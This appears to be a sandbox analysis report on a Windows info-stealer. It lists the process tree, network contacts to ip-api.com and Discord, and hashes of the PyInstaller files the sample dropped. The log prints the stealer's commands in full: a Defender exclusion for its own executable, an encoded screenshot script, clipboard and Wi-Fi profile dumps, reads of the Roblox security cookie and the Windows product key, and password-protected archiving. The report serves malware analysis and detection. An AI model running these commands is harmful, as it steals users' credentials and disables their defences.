powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\d42ba9148efbf042a47ba86704e89212e3f18b6cbcb434e03d771710e58166e7.exe'

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "tree /A /F"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "netsh wlan show profile"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "systeminfo"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA="

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell Get-Clipboard

C:\Windows\System32\Wbem\WMIC.exe

WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName

C:\Windows\system32\systeminfo.exe

systeminfo

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=

C:\Windows\system32\tasklist.exe

tasklist /FO LIST

C:\Windows\system32\netsh.exe

netsh wlan show profile

C:\Windows\system32\tree.com

tree /A /F

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "tree /A /F"

C:\Windows\system32\tree.com

tree /A /F

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "tree /A /F"

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe

"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\unzm4isd\unzm4isd.cmdline"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY

C:\Windows\system32\tree.com

tree /A /F

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "tree /A /F"

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES9059.tmp" "c:\Users\Admin\AppData\Local\Temp\unzm4isd\CSC61725639E094474294968878E24F841.TMP"

C:\Windows\system32\tree.com

tree /A /F

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "tree /A /F"

C:\Windows\system32\tree.com

tree /A /F

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "tree /A /F"

C:\Windows\system32\tree.com

tree /A /F

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "getmac"

C:\Windows\system32\getmac.exe

getmac

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\_MEI21122\rar.exe a -r -hp"amnesia" "C:\Users\Admin\AppData\Local\Temp\OsrvV.zip" *"

C:\Users\Admin\AppData\Local\Temp\_MEI21122\rar.exe

C:\Users\Admin\AppData\Local\Temp\_MEI21122\rar.exe a -r -hp"amnesia" "C:\Users\Admin\AppData\Local\Temp\OsrvV.zip" *

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "wmic os get Caption"

C:\Windows\System32\Wbem\WMIC.exe

wmic os get Caption

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "wmic computersystem get totalphysicalmemory"

C:\Windows\System32\Wbem\WMIC.exe

wmic computersystem get totalphysicalmemory

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"

C:\Windows\System32\Wbem\WMIC.exe

wmic csproduct get uuid

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"

C:\Windows\System32\Wbem\WMIC.exe

wmic path win32_VideoController get name

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault

Network

Country Destination Domain Proto
US 8.8.8.8:53 8.8.8.8.in-addr.arpa udp
US 8.8.8.8:53 13.86.106.20.in-addr.arpa udp
US 8.8.8.8:53 83.210.23.2.in-addr.arpa udp
US 8.8.8.8:53 gstatic.com udp
GB 142.250.180.3:443 gstatic.com tcp
US 8.8.8.8:53 3.180.250.142.in-addr.arpa udp
US 8.8.8.8:53 0.159.190.20.in-addr.arpa udp
US 8.8.8.8:53 95.221.229.192.in-addr.arpa udp
US 8.8.8.8:53 217.106.137.52.in-addr.arpa udp
US 8.8.8.8:53 ip-api.com udp
US 208.95.112.1:80 ip-api.com tcp
US 8.8.8.8:53 discord.com udp
US 162.159.138.232:443 discord.com tcp
US 8.8.8.8:53 1.112.95.208.in-addr.arpa udp
US 8.8.8.8:53 232.138.159.162.in-addr.arpa udp
US 8.8.8.8:53 50.23.12.20.in-addr.arpa udp
US 8.8.8.8:53 15.164.165.52.in-addr.arpa udp
US 8.8.8.8:53 107.12.20.2.in-addr.arpa udp
US 8.8.8.8:53 20.49.80.91.in-addr.arpa udp
US 8.8.8.8:53 86.49.80.91.in-addr.arpa udp
US 8.8.8.8:53 170.117.168.52.in-addr.arpa udp

Files

C:\Users\Admin\AppData\Local\Temp\_MEI21122\python310.dll

MD5 4a6afa2200b1918c413d511c5a3c041c
SHA1 39ca3c2b669adac07d4a5eb1b3b79256cfe0c3b3
SHA256 bec187f608507b57cf0475971ba646b8ab42288af8fdcf78bce25f1d8c84b1da
SHA512 dbffb06ffff0542200344ea9863a44a6f1e1b783379e53df18580e697e8204d3911e091deb32a9c94b5599cdd54301b705b74e1f51104151cf13b89d57280a20

C:\Users\Admin\AppData\Local\Temp\_MEI21122\VCRUNTIME140.dll

MD5 f34eb034aa4a9735218686590cba2e8b
SHA1 2bc20acdcb201676b77a66fa7ec6b53fa2644713
SHA256 9d2b40f0395cc5d1b4d5ea17b84970c29971d448c37104676db577586d4ad1b1
SHA512 d27d5e65e8206bd7923cf2a3c4384fec0fc59e8bc29e25f8c03d039f3741c01d1a8c82979d7b88c10b209db31fbbec23909e976b3ee593dc33481f0050a445af

memory/4772-25-0x00007FFFDD710000-0x00007FFFDDB76000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\_MEI21122\base_library.zip

MD5 3ae8624c9c1224f10a3135a7039c951f
SHA1 08c18204e598708ba5ea59e928ef80ca4485b592
SHA256 64dfc4067a99c71094b4a9aa8e50344e7d42ea9a0d376cbcd419c04e53384285
SHA512 c47ea6b8e004c27fa29e84f6363f97e775c83a239eb3ae75dedca79e69db02b431a586877ee8f948f83b522b00c20e6b1d5864628c2aef9e33e0be95fe6e3254

C:\Users\Admin\AppData\Local\Temp\_MEI21122\_ctypes.pyd

MD5 31859b9a99a29127c4236968b87dbcbb
SHA1 29b4ee82aa026c10fe8a4f43b40cbd8ec7ea71e5
SHA256 644712c3475be7f02c2493d75e6a831372d01243aca61aa8a1418f57e6d0b713
SHA512 fec3ab9ce032e02c432d714de0d764aab83917129a5e6eeca21526b03176da68da08024d676bc0032200b2d2652e6d442ca2f1ef710a7408bd198995883a943a

C:\Users\Admin\AppData\Local\Temp\_MEI21122\libffi-7.dll

MD5 6f818913fafe8e4df7fedc46131f201f
SHA1 bbb7ba3edbd4783f7f973d97b0b568cc69cadac5
SHA256 3f94ee4f23f6c7702ab0cc12995a6457bf22183fa828c30cc12288adf153ae56
SHA512 5473fe57dc40af44edb4f8a7efd68c512784649d51b2045d570c7e49399990285b59cfa6bcd25ef1316e0a073ea2a89fe46be3bfc33f05e3333037a1fd3a6639

memory/4772-32-0x00007FFFF63D0000-0x00007FFFF63DF000-memory.dmp

memory/4772-29-0x00007FFFEFE00000-0x00007FFFEFE24000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\_MEI21122\libcrypto-1_1.dll

MD5 bbc1fcb5792f226c82e3e958948cb3c3
SHA1 4d25857bcf0651d90725d4fb8db03ccada6540c3
SHA256 9a36e09f111687e6b450937bb9c8aede7c37d598b1cccc1293eed2342d11cf47
SHA512 3137be91f3393df2d56a3255281db7d4a4dccd6850eeb4f0df69d4c8dda625b85d5634fce49b195f3cc431e2245b8e9ba401baaa08778a467639ee4c1cc23d8d

C:\Users\Admin\AppData\Local\Temp\_MEI21122\amnesia.aes

MD5 4bdbc40c59f0678805ae14b6e87d6dbb
SHA1 a674ebaefa0d206473ece647d75a198a0d89427f
SHA256 e8d409deed988c7ab9aa754db7675df856b6ec236e081c149fe3fa498ec52811
SHA512 065010bf4c8ed403f691b542732e82a1506583a00bccc3f37cd0a9cfc266f3474ed2d78c8b0efbff1a952e1fccbff597b80b13622f452e783163ca17f9c19d73

C:\Users\Admin\AppData\Local\Temp\_MEI21122\_ssl.pyd

MD5 9a7ab96204e505c760921b98e259a572
SHA1 39226c222d3c439a03eac8f72b527a7704124a87
SHA256 cae09bbbb12aa339fd9226698e7c7f003a26a95390c7dc3a2d71a1e540508644
SHA512 0f5f58fb47379b829ee70c631b3e107cde6a69dc64e4c993fb281f2d5ada926405ce29ea8b1f4f87ed14610e18133932c7273a1aa209a0394cc6332f2aba7e58

C:\Users\Admin\AppData\Local\Temp\_MEI21122\_sqlite3.pyd

MD5 70a7050387359a0fab75b042256b371f
SHA1 5ffc6dfbaddb6829b1bfd478effb4917d42dff85
SHA256 e168a1e229f57248253ead19f60802b25dc0dbc717c9776e157b8878d2ca4f3d
SHA512 154fd26d4ca1e6a85e3b84ce9794a9d1ef6957c3bba280d666686a0f14aa571aaec20baa0e869a78d4669f1f28ea333c0e9e4d3ecd51b25d34e46a0ef74ee735

C:\Users\Admin\AppData\Local\Temp\_MEI21122\_socket.pyd

MD5 49f87aec74fea76792972022f6715c4d
SHA1 ed1402bb0c80b36956ec9baf750b96c7593911bd
SHA256 5d8c8186df42633679d6236c1febf93db26405c1706f9b5d767feab440ea38b0
SHA512 de58d69228395827547e07695f70ef98cdaf041ebaae0c3686246209254f0336a589b58d44b7776ccae24a5bc03b9dc8354c768170b1771855f342eecc5fead4

C:\Users\Admin\AppData\Local\Temp\_MEI21122\_queue.pyd

MD5 bebc7743e8af7a812908fcb4cdd39168
SHA1 00e9056e76c3f9b2a9baba683eaa52ecfa367edb
SHA256 cc275b2b053410c6391339149baf5b58df121a915d18b889f184be02bedaf9bc
SHA512 c56496c6396b8c3ec5ec52542061b2146ea80d986dfe13b0d4feb7b5953c80663e34ccd7b7ee99c4344352492be93f7d31f7830ec9ec2ca8a0c2055cb18fa8db

C:\Users\Admin\AppData\Local\Temp\_MEI21122\_lzma.pyd

MD5 864b22495372fa4d8b18e1c535962ae2
SHA1 8cfaee73b7690b9731303199e3ed187b1c046a85
SHA256 fc57bd20b6b128afa5faaac1fd0ce783031faaf39f71b58c9cacf87a16f3325f
SHA512 9f26fe88aca42c80eb39153708b2315a4154204fc423ca474860072dd68ccc00b7081e8adb87ef9a26b9f64cd2f4334f64bc2f732cd47e3f44f6cf9cc16fa187

C:\Users\Admin\AppData\Local\Temp\_MEI21122\_hashlib.pyd

MD5 659a5efa39a45c204ada71e1660a7226
SHA1 1a347593fca4f914cfc4231dc5f163ae6f6e9ce0
SHA256 b16c0cc3baa67246d8f44138c6105d66538e54d0afb999f446cae58ac83ef078
SHA512 386626b3bad58b450b8b97c6ba51ce87378cddf7f574326625a03c239aa83c33f4d824d3b8856715f413cfb9238d23f802f598084dbd8c73c8f6c61275fdecb5

C:\Users\Admin\AppData\Local\Temp\_MEI21122\_decimal.pyd

MD5 7cdc590ac9b4ffa52c8223823b648e5c
SHA1 c8d9233acbff981d96c27f188fcde0e98cdcb27c
SHA256 f281bd8219b4b0655e9c3a5516fe0b36e44c28b0ac9170028dd052ca234c357c
SHA512 919c36be05f5f94ec84e68ecca43c7d43acb8137a043cf429a9e995643ca69c4c101775955e36c15f844f64fc303999da0cbfe5e121eb5b3ffb7d70e3cd08e0b

C:\Users\Admin\AppData\Local\Temp\_MEI21122\_bz2.pyd

MD5 fba120a94a072459011133da3a989db2
SHA1 6568b3e9e993c7e993a699505339bbebb5db6fb0
SHA256 055a93c8b127dc840ac40ca70d4b0246ac88c9cde1ef99267bbe904086e0b7d3
SHA512 221b5a2a9de1133e2866b39f493a822060d3fb85f8c844c116f64878b9b112e8085e61d450053d859a63450d1292c13bd7ec38b89fe2dfa6684ac94e090ec3aa

C:\Users\Admin\AppData\Local\Temp\_MEI21122\unicodedata.pyd

MD5 c697dc94bdf07a57d84c7c3aa96a2991
SHA1 641106acd3f51e6db1d51aa2e4d4e79cf71dc1ab
SHA256 58605600fdaafbc0052a4c1eb92f68005307554cf5ad04c226c320a1c14f789e
SHA512 4f735678b7e38c8e8b693593696f9483cf21f00aea2a6027e908515aa047ec873578c5068354973786e9cfd0d25b7ab1dd6cbb1b97654f202cbb17e233247a61

C:\Users\Admin\AppData\Local\Temp\_MEI21122\sqlite3.dll

MD5 0c4996047b6efda770b03f8f231e39b8
SHA1 dffcabcd4e950cc8ee94c313f1a59e3021a0ad48
SHA256 983f31bc687e0537d6028a9a65f4825cc560bbf3cb3eb0d3c0fcc2238219b5ed
SHA512 112773b83b5b4b71007f2668b0344bf45db03bbe1f97ae738615f3c4e2f8afb54b3ae095ea1131bf858ddfb1e585389658af5db56561609a154ae6bb80dc79ba

C:\Users\Admin\AppData\Local\Temp\_MEI21122\select.pyd

MD5 b6de7c98e66bde6ecffbf0a1397a6b90
SHA1 63823ef106e8fd9ea69af01d8fe474230596c882
SHA256 84b2119ed6c33dfbdf29785292a529aabbf75139d163cfbcc99805623bb3863c
SHA512 1fc26e8edc447d87a4213cb5df5d18f990bba80e5635e83193f2ae5368dd88a81fddfb4575ef4475e9bf2a6d75c5c66c8ed772496ffa761c0d8644fcf40517ca

C:\Users\Admin\AppData\Local\Temp\_MEI21122\rarreg.key

MD5 1e466c48fe2fef11884599f81b0cfd5a
SHA1 8765d27b2d0bd7631a78296dd636e543652301f7
SHA256 d6ffb579f6ad67fe16ef0554caccf30d15895442fa973aeeee2a78c932be5b49
SHA512 1b777b19120d0368b6175924f028738060ffa112a2c49c3295f032234a4e5df986250102c6deed2c81c164b39a5b9d1f578010f044b582f6f583d63dae0762ad

C:\Users\Admin\AppData\Local\Temp\_MEI21122\rar.exe

MD5 9c223575ae5b9544bc3d69ac6364f75e
SHA1 8a1cb5ee02c742e937febc57609ac312247ba386
SHA256 90341ac8dcc9ec5f9efe89945a381eb701fe15c3196f594d9d9f0f67b4fc2213
SHA512 57663e2c07b56024aaae07515ee3a56b2f5068ebb2f2dc42be95d1224376c2458da21c965aab6ae54de780cb874c2fc9de83d9089abf4536de0f50faca582d09

C:\Users\Admin\AppData\Local\Temp\_MEI21122\libssl-1_1.dll

MD5 ad0a2b4286a43a0ef05f452667e656db
SHA1 a8835ca75768b5756aa2445ca33b16e18ceacb77
SHA256 2af3d965863018c66c2a9a2d66072fe3657bbd0b900473b9bbdcac8091686ae1
